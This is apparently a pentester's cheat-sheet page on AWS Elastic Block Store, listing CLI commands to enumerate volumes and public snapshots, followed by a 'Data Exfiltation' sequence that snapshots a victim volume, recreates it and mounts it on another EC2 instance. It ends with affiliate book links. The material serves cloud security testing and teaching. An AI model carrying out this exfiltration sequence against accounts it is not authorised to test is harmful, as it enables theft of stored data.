# EBS - Elastic Block Store

A block storage system used to store persistent data. used for EC2 instances.

## Enumeration

Information about EBS volumes

```
aws ec2 describe-volumes
```

All available EBS snapshots

```
aws ec2 describe-snapshots --owner-ids self
aws ec2 describe-snapshots --owner-ids [account-id] --region [region]
```

```
aws ec2 describe-snapshots --owner-ids <owner id> --query "Snapshots[*].[SnapshotId, VolumeId, StartTime]" --output table --region <region>
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FPwi2oIKwEboHasCIpLVj%2Fimage.png?alt=media&#x26;token=1ebaebf3-a0cc-4340-b956-d863462b07ad" alt=""><figcaption></figcaption></figure>

Create volume permissions - Enumerates the `createVolumePermission` attribute, which can allow copying of the snapshot into a new volume controlled by the attacker

```
aws ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id [snapshot-id] --region [region]
```

```
aws ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id <snapshot id> --region <region of snapshot>

aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate --region us-east-1
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FG5f8rNSPePXtGABkEbX9%2Fimage.png?alt=media&#x26;token=08815504-1512-4db7-97de-bb748f7a1916" alt=""><figcaption></figcaption></figure>

The value of `Group` is set to `all`. This reveals that it is a publicly accessible snapshot and any AWS user will be able to create a volume from this public snapshot into their AWS Account.

Enumerate public snapshots

```
aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate --region [region]
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FfYM6rx7p37bOlkLsEk4r%2Fimage.png?alt=media&#x26;token=31535b40-6356-42c1-a9dd-39a43a23cefe" alt=""><figcaption></figcaption></figure>

## Data Exfiltation

{% hint style="success" %}
*Can also be done using the AWS Console*
{% endhint %}

Create a snapshot of the specified volume

```
aws ec2 create-snapshot --volume-id [volume-id] --description "exfiltration"
```

Describe all the available EBS snapshots

```
aws ec2 describe-snapshots --owner-ids self
```

Create a volume from snapshots

```
aws ec2 create-volume --snapshot-id [snapshot-id] --available-zone [available-zone]
```

Describe ec2 instances

```
aws ec2 describe-instances
```

Attach specified volume to the ec2-instance

```
aws ec2 attach-volume --volume-id [volume-id] --instance-id [instance-id] --device /dev/sdfd
```

Mount volume on EC2 file system

```
sudo mount /dev/sdfd /new_dir
```

See Exploit snapshot - EC2

{% content-ref url="ec2-elastic-compute-cloud" %}
[ec2-elastic-compute-cloud](https://0xss0rz.gitbook.io/0xss0rz/cloud/aws/ec2-elastic-compute-cloud)
{% endcontent-ref %}

## Interesting Book

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**Advanced Penetration Testing: Hacking AWS 2**](https://www.amazon.fr/dp/B0849Z2TLJ?tag=0xss0rz-21)\
  This book delves deeper into analyzing the security of various AWS services and shows techniques and tactics used by an attacker to breach an AWS environment
* [**Hands-On AWS Penetration Testing with Kali Linux**](https://www.amazon.fr/dp/B07C61YYJ4?tag=0xss0rz-21)\
  Set up a virtual lab and pentest major AWS services, including EC2, S3, Lambda, and Cloud
